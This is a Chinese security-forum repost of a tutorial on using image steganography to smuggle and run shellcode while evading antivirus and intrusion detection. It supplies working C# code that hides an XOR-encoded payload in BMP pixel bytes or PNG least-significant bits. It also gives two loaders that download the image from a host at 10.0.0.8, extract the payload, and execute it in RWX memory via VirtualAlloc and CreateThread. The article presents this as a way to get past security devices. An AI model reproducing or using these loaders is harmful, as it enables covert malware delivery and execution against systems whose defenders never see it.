安全矩阵

 找回密码
 立即注册
搜索
查看: 2596|回复: 0

利用图片隐写执行shellcode

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-2-25 15:59:06 | 显示全部楼层 |阅读模式
原文链接:利用图片隐写执行shellcode

0x01 起因
首先我们要知道为什么要用隐写,其实最主要的就是规避检测,不管你传输的任何数据都很由可能被IDS/IPS等检测到。写这个东西我最主要的还是想隐蔽的传输payload执行。在目标执行payload之前,很多安全设备会分析它:

所以我们就需要隐写术来隐藏我们的payload,那隐写术又分很多种,为什么选择图片隐写呢?因为图片基本上在各种AV、IDS/IPS等安全设备检测的范围之外,所以我们就能很好的利用这一点。这里我们介绍两种利用思路,以及他们的限制。
0x02 替换图片像素点实现隐写
这种方式其实很简单,大概的原理就是用我们的payload替换bmp图片的像素点,来达到隐写。
那再这么多的图片格式中,应该选哪一个?这里选择bmp图片,因为他是最简单的图片格式,而且是图片数据不会被压缩的,这一点才能保证我们再修改bmp图片后,储存的payload的完整性,相对来说因为没有压缩,所以它会占用更大的磁盘空间。
2.1 利用bmp文件结构隐写payloadbmp图片一般由四部分组成:
  •         位图头文件数据结构,它包含BMP图像文件的类型、显示内容等信息;
  •         位图信息数据结构,它包含有BMP图像的宽、高、压缩方法,以及定义颜色等信息;
  •         调色板,这个部分是可选的,有些位图需要调色板,有些位图,比如真彩色图(24位的BMP)就不需要调色板;
  •         位图数据,这部分的内容根据BMP位图使用的位数不同而不同,在24位图中直接使用RGB,而其他的小于24位的使用调色板中颜色索引值。

2.1.1 BitMap文件头

如上图就是BitMap文件头的所有内容,共计54字节。具体示例如下:

这里我们其实需要注意两个字段,一是22-26这4个字节,存放着bitmap文件的像素高,后续会说到用处。二是2-6这四个字节,本来存放着bmp图片的大小,我们会将他改成payload的长度。
2.1.2 替换BitMap位图数据Bitmap文件种间的数据我们暂时不管,因为位图数据也就是像素点在文件的最后一节,所以我们就从最后一个位图数据的byte向前替换就行了。我先来看看修改像素点的结果:
源数据和源图


修改后的数据和修改后的图


注意看图片的差距,又上角变灰了。这是我们替换原有像素点造成的结果。
2.1.3 修改BitMap像素高度这里为了使人更不易差距,我们就将BitMap头中的像素高度修改一下,让它不被显示出来。这样虽然图片就会比原图高度小上一点。
原图:

修改之后:

2.1.4 将payload长度插入bmp完成上诉的步骤,我们就已经将我们的payload隐写进了bmp文件。剩下的就是写一个正常的loader将它读取出来并执行。但是在读取的时候我们怎么知道读取哪些数据?还有payload的长度呢?所以这里我们就要将payload的长度插入bmp图片,使用的是原来表示bmp大小的那4个字节,因为这4个字节不一定可信,导致它的修改对bmp没有什么影响。
2.2 C#实现向bmp图片中插入payload先判断文件是否是bmp文件
  1. private static bool IsBmpFile(string filePath)
  2. {
  3.     FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read);
  4.     BinaryReader reader = new BinaryReader(stream);
  5.     string fileclass = "";
  6.     try
  7.     {
  8.         for (int i = 0; i < 2; i++)
  9.         {
  10.             fileclass += reader.ReadByte().ToString();
  11.         }
  12.         stream.Close();
  13.     }
  14.     catch (Exception)
  15.     {
  16.         throw;
  17.     }
  18.     if(fileclass == "6677")
  19.     {
  20.         return true;
  21.     }
  22.     else
  23.     {
  24.         return false;
  25.     }
  26. }
复制代码

读取bmp文件字节并判断像素点是否够用
  1. byte[] xBmp_Temp = File.ReadAllBytes(Image_File);
  2. if(xBmp_Temp.Length < (xPayload.Length + 54))
  3. {
  4.     Console.ForegroundColor = ConsoleColor.Red;
  5.     Console.WriteLine("[!] Error: The picture is too small, please choose a bigger picture!");
  6.     return;
  7. }
复制代码

修改像素点最后面的字节,这里做了个简单的xor编码
  1. int start = xBmp_Temp.Length - xPayload.Length;
  2. for (int i = 0; i < xPayload.Length; i++)
  3. {
  4.     byte t = Convert.ToByte((Convert.ToInt32(xPayload[i], 16) ^ Convert.ToInt32("0x99", 16)).ToString("X2"), 16);
  5.     xBmp_Temp[start + i] = t;
  6.     if (i == 0)
  7.     {
  8.         Console.Write("[>] Injecting Encode Payload (length {0}) : ", xPayload.Length.ToString());
  9.     }
  10.     if (i <= 16)
  11.     {
  12.         Console.Write(string.Format("{0:X}",t) + " ");
  13.     }
  14. }
复制代码



计算出payload占用的像素高度
  1. FileStream fs = new FileStream(Image_File, FileMode.Open);
  2. byte[] array = new byte[4];
  3. fs.Seek(18, SeekOrigin.Begin);
  4. fs.Read(array, 0, 4);
  5. int width = BitConverter.ToInt32(array, 0);
  6. fs.Seek(22, SeekOrigin.Begin);
  7. fs.Read(array, 0, 4);
  8. int height = BitConverter.ToInt32(array, 0);
  9. fs.Close();
  10. int line = 0;
  11. if (xPayload.Length % width == 0)
  12. {
  13.     line = xPayload.Length / width;
  14. }
  15. else
  16. {
  17.     line = xPayload.Length / width + 1;
  18. }
复制代码

计算出新图的高度,并修改
  1. int new_height = height - line;
  2. byte[] intBuff = BitConverter.GetBytes(new_height);
  3. for (int i = 0; i < 4; i++)
  4. {
  5.     xBmp_Temp[22 + i] = intBuff[i];
  6. }
复制代码

向bmp图片中写入payload的长度
  1. intBuff = BitConverter.GetBytes(xPayload.Length);
  2. for (int i = 0; i < 4; i++)
  3. {
  4.     xBmp_Temp[2 + i] = intBuff[i];
  5. }
复制代码

保存bmp文件
  1. string out_path = Environment.CurrentDirectory + "\\payload.bmp";
  2. File.WriteAllBytes(out_path, xBmp_Temp);
复制代码

程序结果

生产的这个图片对于图片解析器来说是一个正常的图片,所以比如在web渗透中上传是不会有限制的。
2.3 loader读取bmp图片中隐写数据这个loader的作用就是从我们的图片中读取出payload,并执行。
通过http来获得图片数据
  1. string url = "http://10.0.0.8:80/payload.bmp";
  2. WebClient myWebClient = new WebClient();
  3. myWebClient.Credentials = CredentialCache.DefaultCredentials;
  4. byte[] bmp_bytes = myWebClient.DownloadData(url);
复制代码

取出payload的长度,并计算出payload开始写入的位置
  1. int payload_lenght = BitConverter.ToInt32(bmp_bytes, 2);
  2. int start = bmp_bytes.Length - payload_lenght;
复制代码

读取payload,并解码
  1. for(int i = 0; i < payload_lenght; i++)
  2. {
  3.     payload[i] = Convert.ToByte((Convert.ToInt32(bmp_bytes[start + i].ToString("X2"), 16) ^ Convert.ToInt32("0x99", 16)).ToString("X2"), 16);
  4. }
复制代码

执行payload
  1. UInt32 MEM_COMMIT = 0x1000;
  2. UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  3. UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  4. Marshal.Copy(payload, 0x00000000, (IntPtr)(funcAddr), payload.Length);
  5. IntPtr hThread = IntPtr.Zero;
  6. UInt32 threadId = 1;
  7. IntPtr pinfo = IntPtr.Zero;
  8. hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId);
  9. WaitForSingleObject(hThread, 0xfffff1fc);
复制代码

执行结果
0x03 修改图片像素点实现隐写
上面这种方法是通过直接替换掉像素点来实现的,对原图的改动造成了很大的差异,而通过修改像素点就不存在这一点。
3.1 利用像素点隐写数据的原理我们都知道图片是包含像素点的,每个像素点又分为R(红)、G(绿)、B(蓝)三种原色,每个原色由8位二进制位表示,对应一个byte。

而这个是我们修改每个字节分组的最低位,图片在显示时的区别,肉眼是无法辨别的,进而可以达到隐藏数据的目的。

如上图,我们修改了三原色对应byte的二进制的最后一位,肉眼基本开不出来由任何区别。
那我们一个payload的byte是8位,如果知识改三原色的最后一位来隐藏数据的话,就需要两个半像素点才能存下一个payload的byte,如图:

3.2 C#实现像素点中插入payload读取图片数据并提取像素数据到内存
  1. Bitmap image = new Bitmap(Image_File);
  2. int width = image.Size.Width;
  3. int height = image.Size.Height;
  4. Rectangle rect = new Rectangle(0, 0, width, height);
  5. BitmapData image_data = image.LockBits(rect, ImageLockMode.ReadWrite, image.PixelFormat);
  6. IntPtr ptr = image_data.Scan0;
  7. int bytes = Math.Abs(image_data.Stride) * image.Height;
  8. byte[] rgbValues = new byte[bytes];
  9. Marshal.Copy(ptr, rgbValues, 0, bytes);
复制代码

判断图片的像素点是否够我们插入所有的payload
  1. if (rgbValues.Length < ((xPayload.Length + 4) * 8))
  2. {
  3.     Console.ForegroundColor = ConsoleColor.Red;
  4.     Console.WriteLine("[!] Error: There are too few pixels in the picture, please change a high pixel image!");
  5.     return;
  6. }
复制代码



在像素点数据的最开始4字节插入payload的长度(这里用的是替换像素点的方法)
  1. int counter = 0;
  2. byte[] l = BitConverter.GetBytes(xPayload.Length);
  3. Console.ForegroundColor = ConsoleColor.DarkYellow;
  4. for (int j = 0; j < 4; j++)
  5. {
  6.     Console.Write(string.Format("{0:X}", l[j]) + " ");
  7.     rgbValues[counter] = l[j];
  8.     counter++;
  9. }
复制代码

遍历插入payload数据
  1. for (int i = 0; i < xPayload.Length; i++)
  2. {
  3.     if(i < 16)
  4.     {
  5.         Console.ForegroundColor = ConsoleColor.DarkYellow;
  6.         Console.Write(xPayload[i] + " ");
  7.     }
复制代码

将payload的byte转换成点阵列(即二进制)
  1. byte[] b = { Convert.ToByte(xPayload[i], 16) };
  2. BitArray ba_Payload = new BitArray(b);
复制代码

将点阵列的每个bit位写入像素byte的最后一个bit
  1. for (int j = 0; j < 8; j++)
  2. {
  3.     byte[] RGB = { rgbValues[counter] };
  4.     BitArray ba_RGB = new BitArray(RGB);
  5.     if (ba_RGB[0] != ba_Payload[j])
  6.     {
  7.         ba_RGB[0] = ba_Payload[j];
  8.     }
  9.     byte[] tmp = new byte[1];
  10.     ba_RGB.CopyTo(tmp, 0);
  11.     rgbValues[counter] = tmp[0];
  12.     counter++; ;
  13. }
复制代码

在将内存中的数据写回到bitmap
  1. Marshal.Copy(rgbValues, 0, ptr, bytes);
  2. image.UnlockBits(image_data);
复制代码

最后将bitmap数据保存成png图片
  1. string out_path = Environment.CurrentDirectory + "\\payload.png";
  2. image.Save(out_path, ImageFormat.Png);
复制代码

程序输出结果

3.3 loader读取像素点中隐写数据这个loader的作用同读取bmp文件的loader作用一样,都是从图片中提取出payload并加载执行。
使用http获取图片数据
  1. string url = "http://10.0.0.8:80/payload.png";
  2. WebClient myWebClient = new WebClient();
  3. myWebClient.Credentials = CredentialCache.DefaultCredentials;
  4. byte[] Png_bytes = myWebClient.DownloadData(url);
复制代码

将图片数据转换成bitmap对象,并提取出像素点数据
  1. MemoryStream ms = new MemoryStream(Png_bytes);
  2. Bitmap image = (Bitmap)Image.FromStream(ms);
  3. int width = image.Size.Width;
  4. int height = image.Size.Height;
  5. Rectangle rect = new Rectangle(0, 0, width, height);
  6. BitmapData image_data = image.LockBits(rect, ImageLockMode.ReadWrite, image.PixelFormat);
  7. IntPtr ptr = image_data.Scan0;
  8. int bytes = Math.Abs(image_data.Stride) * image.Height;
  9. byte[] rgbValues = new byte[bytes];
  10. Marshal.Copy(ptr, rgbValues, 0, bytes);
复制代码

从像素数据的最前4字节读取出payload的长度,并申请储存payload的数组。
  1. int lenght = BitConverter.ToInt32(rgbValues, 0);
  2. byte[] XX = new byte[lenght];
复制代码


提取像素点RGB数据的最后一位,存入点阵列
  1. for (int i = 4; i < lenght * 8; i++)
  2. {
  3.     byte[] RGB = { rgbValues[i] };
  4.     BitArray ba_RGB = new BitArray(RGB);
  5.     tmp[j] = ba_RGB[0];
  6.     j++;
  7. }
复制代码

点阵列转换成int
  1. public static int BitToInt(BitArray bit)
  2. {
  3.     int[] res = new int[1];
  4.     for (int i = 0; i < bit.Count; i++)
  5.     {
  6.         bit.CopyTo(res, 0);
  7.     }
  8.     return res[0];
  9. }
复制代码

读取出8位之后,还原成byte
  1. if(j == 8)
  2. {
  3.     XX[counter] = Convert.ToByte(BitToInt(tmp));
  4.     j = 0;
  5.     counter++;
  6. }
复制代码


完成payload提取之后,创建线程来执行
  1. UInt32 MEM_COMMIT = 0x1000;
  2. UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  3. UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)XX.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  4. Marshal.Copy(XX, 0x00000000, (IntPtr)(funcAddr), XX.Length);
  5. IntPtr hThread = IntPtr.Zero;
  6. UInt32 threadId = 1;
  7. IntPtr pinfo = IntPtr.Zero;
  8. hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId);
  9. WaitForSingleObject(hThread, 0xfffff1fc);
复制代码

运行结果

0x04 总结
从上面可以看出图片是我们很好的用来传输数据的载体,但是限制就是传输的数据越大,需要的图片就越大。所以我们这里用来储存payload还是很舒服的。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 04:36 , Processed in 0.019875 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表